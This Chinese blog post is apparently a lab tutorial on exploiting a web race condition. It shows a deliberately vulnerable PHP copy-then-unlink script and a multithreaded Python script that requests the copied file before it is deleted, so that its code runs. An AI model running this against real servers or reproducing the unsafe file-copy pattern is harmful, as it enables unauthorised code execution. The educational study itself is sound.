专栏首页E条咸鱼WEB条件竞争利用

WEB条件竞争利用

类似前言一样的东西

条件竞争是真的好玩,佛了

解释

先上例子

<?php
    print("Hello,This is test server");
    if(isset($_GET['src'])){
        copy($_GET['src'],$_GET['dst']);
        unlink($_GET['dst']);
}
    else{
        print("Error!");
?>

这是典型的条件竞争利用的点

正常的服务器操作,是copy参数src的文件名和参数dst的文件名,复制完毕后,立马unlink删除

那么条件竞争呢,就是利用复制完毕,卡还没来得及删除的时间点,访问文件,执行恶意代码,而恶意代码已经执行完成了,那么文件删不删除都不重要了

具体的流程如下图 ↓

一目了然,小天才说的就是我吧

环境搭建

  • 靶机: CentOS6.5
  • PHP

首先现在靶机安装httpd服务,再安装php 完成后,开始配置环境

Elapse.php和file.php的内容为

Elapse.php:

<?php
    print("Hello,This is test server");
    if(isset($_GET['src'])){
        copy($_GET['src'],$_GET['dst']);
        unlink($_GET['dst']);
}
    else{
        print("Error!");
?>
-----------优秀的分割线-----------

file.php:

<?php
$myfile = fopen("test.txt","w");
$txt = "ElapseNB\n";
fwrite($myfile,$txt);
?>

具体利用方式就是,通过访问Elapse.php,传入参数将file.php copy出来然后同时访问新文件 这里用的是python3多线程

import requests
import threading

url1 = 'http://192.168.1.111/Elapse.php?src=file.php&dst=myfile.php'
url2 = 'http://192.168.1.111/myfile.php'

def filecreate(url):
    while True:
        try:
            requests.get(url)
        except:
            print("not find file")
def main():
    threads = []
    for e in range(10):
        t1 = threading.Thread(target=filecreate,args=(url1,))
        t2 = threading.Thread(target=filecreate,args=(url2,))
        threads.append(t1)
        threads.append(t2)
        t1.start()
        t2.start()
    print("Successful!")
if __name__ == '__main__':
    main()

创建两个线程,同时访问两个url 运行结果:

在服务器中可以看到多出来了一个文件,内容为ElapseNB

本文分享自微信公众号 - E条咸鱼(gh_04d31a502ded),作者:现在你看到我的ID了

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-12-22

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 小记一个PHP不死马

    如同字面意思一样,不死马怎么样都不会给"杀死"的木马,他是直接写入进程中,无限在指定目录下生成木马文件

    Elapse
  • Billu_b0x靶机渗透

    得到IP后,访问网页,发现只有登录框,没有什么意外的东西,扫描一下后台目录,看看有没有什么文件可利用的,扫描完后,发现有一堆php,同时还有一个phpmy(ph...

    Elapse
  • 任意文件下载/读取漏洞利用

    字面意思理解,就是你能够读取任何 你有权限读取到的文件,但有一个最主要的问题就是,你不知道 文件名

    Elapse
  • PHP7 配置详解

    本文简要介绍了 PHP 常用配置。 PHP-FPM 后台执行 daemonize = yes 忽略配置文件,通过命令方式指定后台或前台运行。 $ sudo ph...

    康怀帅
  • Ubuntu 16.04 下 Typecho 部署

    站点购买的时候腾讯只送了 20G 云盘,当我购买第二款机器的时候额度提升到了 50G。加上机器当时使用的是 Ubuntu 14.04 而且使用的是 HTTP 协...

    BigNerdCoding
  • laravel5.3的新功能尝鲜

    上一节课 https://my.oschina.net/lilugirl2005/blog/783370

    lilugirl
  • windows 安装 Apache、php、mysql及其配置(转载)

    此文包括的注意内容:软件版本及下载地址 Apache2.4的配置和安装 php7.0的配置 mysql5.5的安装 常见问题及解决方法 1.软件版本 Windo...

    lin_zone
  • 网站安全检测提示“页面异常导致本地路径泄漏”的解决办法

    在 360 网站安全检测时,经常报出“页面异常导致本地路径泄漏”的漏洞,尤其是新安装的 WordPress 网站,那是必然会报。。。 这些漏洞,之前玛思阁就已经...

    张戈
  • 解决修改 Linux 下的 PHP 环境变量不生效的方法

    这个问题出现服务器有多个 PHP 版本,php -v和phpinfo()显示两个不同的版本

    沈唁
  • PHP-fpm 远程代码执行漏洞(CVE-2019-11043)分析

    国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。

    Seebug漏洞平台

扫码关注云+社区

领取腾讯云代金券